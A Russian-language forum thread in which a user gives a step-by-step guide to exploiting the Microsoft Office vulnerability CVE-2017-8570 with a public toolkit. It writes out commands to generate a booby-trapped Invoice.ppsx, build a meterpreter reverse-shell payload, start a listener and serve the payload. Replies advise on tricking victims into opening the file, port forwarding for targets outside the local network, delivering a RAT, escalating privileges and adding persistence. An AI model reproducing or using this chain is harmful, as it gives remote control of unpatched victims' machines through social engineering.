Уязвимость Microsoft Office CVE-2017-8570

[kot-gor]

Всем привет. Сегодня разберем такую уязвимость как

Ссылка скрыта от гостей

CVE 2017 8570.

Данная уязвимость довольно свежая, позволяет получить доступ к удаленной машине используя специально подготовленный файл PowerPoint, более подробно о ней можете почитать по ссылке:

Ссылка скрыта от гостей

.

Использована она может быть на следующих версиях:

• Microsoft Office 2007 Service Pack 3
• Microsoft Office 2010 Service Pack 2 (32-bit editions)
• Microsoft Office 2010 Service Pack 2 (64-bit editions)
• Microsoft Office 2013 RT Service Pack 1
• Microsoft Office 2013 Service Pack 1 (32-bit editions)
• Microsoft Office 2013 Service Pack 1 (64-bit editions)
• Microsoft Office 2016 (32-bit edition)
• Microsoft Office 2016 (64-bit edition)

На данный момент уязвимость устранена в текущих обновлениях, но, как мы знаем, что многие пренебрегают обновлениями, что нам конечно на руку.

И так поехали:

1. Заходим по ссылке https://github.com/tezukanice/Office8570 скачиваем, не забываем читать README.md , там будет рассмотрено три сценария атаки используя данную уязвимость. Мы в данной статье остановимся на первом сценарии.

Вкратце:

- генерируем наш вредоносный PPSX файл,
- создаем полезную нагрузку и запускаем слушатель.
- запускаем сервер на 80 порту.​

Давайте непосредственно приступим к делу.

Создаем в директории «Office8570» новую папку и назовем ее «template», далее переносим файл template.ppsx в эту папку. Если этого не сделать то при генерировании PPSX файла выскочит ошибка.

1.Сейчас генерируем наш PPSX файл, пишем в терминале в одну строчку следующее:

python cve-2017-8570_toolkit.py -M gen -w Invoice.ppsx -u http://192.168.0.104/logo.doc

Не забываем вместо моего ip ставить свой, если кто не знает как узнать свой ip, делается это командой ifconfig. У вас должен появится файл Invoice.ppsx.

2. Создаем полезную нагрузку,где будет создан файл shell.exe в каталоге tmp, в моем случае это будет выглядеть следующим образом:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.104 LPORT=4444 -f exe > /tmp/shell.exe

Для создания полезной нагрузки можем использовать любой другой инструмент, не обязательно использовать msfvenom, главное перенести полезную нагрузку потом в каталог tmp.

Запускаем слушатель:

msfconsole -x "use multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.0.104; set LPORT 4444; run"

3.Далее в терминале пишем следующую строчку

python cve-2017-8570_toolkit.py -M exp -e http://192.168.0.104/shell.exe -l /tmp/shell.exe

по итогу, у нас запустится сервер на 80 порту.

Далее нам осталось впарить файл Invoice.ppsx , и как только его откроют ,с сервера погрузится наша полезная нагрузка.

Всем хорошего вечера и удачного пентеста!!!

 

[Breed]

Вот видео эксплуатации CVE 2017 8570:

 

[IioS]

Вот видео эксплуатации CVE 2017 8570:

Годная демонстрация. А что будет если не кидать в /tmp/shell.exe, а запустить его из ../Office8570/ ?

 

[Breed]

А что будет если не кидать в /tmp/shell.exe, а запустить его из ../Office8570/ ?

Может я и ошибаюсь, но:

Для создания полезной нагрузки можем использовать любой другой инструмент, не обязательно использовать msfvenom, главное перенести полезную нагрузку потом в каталог tmp.

 

[IioS]

Может я и ошибаюсь, но:

Хм, интересно, спасибо. А почему такая зависимость?

 

[kot-gor]

Потому что утилита , настроена так, что бы подгружать полезную нагрузку с директории tmp.
автор это указал в одном из примеров.
В самом коде утилиты я не разбирался.По идее думаю что можно настроить на любую директорию.

 

[IioS]

Потому что утилита , настроена так, что бы подгружать полезную нагрузку с директории tmp

Ясно, благодарю за ответ.

 

[Breed]

Лучше спроси у ТС. Я честно скажу, что не "щупал" (не пробовал).
Но навскидку скажу, что этого требует сам эксплойт.
https://github.com/tezukanice/Office8570/blob/master/cve-2017-8570_toolkit.py
[doublepost=1503513879,1503513817][/doublepost]

По идее думаю что можно настроить на любую директорию

Безусловно. Включи поиск по тексту на "TMP".

 

[kot-gor]

Ради любопытства глянул, код на питоне простой , директорию можно легко поменять...

 

[Breed]

Я писал не глядя, а потом посмотрел, чтобы убедиться - в точку!

 

[Inject0r]

круто конечно, только касперский сразу удалил Invoice.ppsx)
Exploit:MSOffice.Generic

С одной стороны радует, а с другой нет))

 

[kot-gor]

Ду уж,парни наверное не сидят без дела.хотя уязвимости чуть более месяца.

 

[Tayrus]

А если я укажу ip по типу 192.168. , то допустим если я скину на другой PC будет работать?

 

[mrOkey]

Интересно, а можно ли его забайпасить

 

[ghostphisher]

А если я укажу ip по типу 192.168. , то допустим если я скину на другой PC будет работать?

Если другой ПК в одной сети - будет, если по Инету, надо делать проброс портов.

 

[Rike]

Здравствуйте, помогите пожалуйста, в msfconsole пишет "Started reverse TCP handler on 192.168.0.100:4444" а дальше ничего нет..хотя должно писать, что handler запустился, в чем может быть проблема ? Msf переустанавливал(v 4.16.24-dev)

Порты пробросил

[doublepost=1514240438,1514205656][/doublepost]Ни у кого не было этой ошибки ?

 

[andrey1_1]

Может кто-нибудь объяснить как организовать удаленный доступ к компьютеру, не находящемуся в локальной сети?

 

[kot-gor]

всё тоже самое, только прописывает не локальный адрес в полезной нагрузке, а внешний( белый статический), если через роутер то прокидываете порты, или используйте впс..

 

[mr.brown]

всё тоже самое, только прописывает не локальный адрес в полезной нагрузке, а внешний( белый статический), если через роутер то прокидываете порты, или используйте впс..

Подскажи пожалуйста. Вот я искал на многих форумах, и наконец забрел до вас. Сделать со слушателем это все конечно хорошо. Но я, вместо загрузчика хочу сделать чтобы качался билд от моего ратника. Допустим для примера, вместо билда, я взял программу putty(portable) и после запуска ppsx, она должна загрузится и запустится, что сразу даст знать о том, что все работает.. Прямая ссылка

Ссылка скрыта от гостей

Так как слушатель тут не нужен, то тут будут только две команды я так понимаю, подскажи как правильно будет прописать их, чтобы сгенерировать ppsx, и после запуска - качался и запускался мой putty.exe по указанной ссылке.

Потому что я уже много инфы перечитал, пробовал по разному, но при запуске ppsx, то ли файл не качается, то ли не запускается, потому что ничего не выскакивает (а должно).

 

[kot-gor]

ВСё то же самое..просто переносите свой билд в каталог tmp.но вам потом еще нужно будет поднимать права и прописывать в автозагрузку.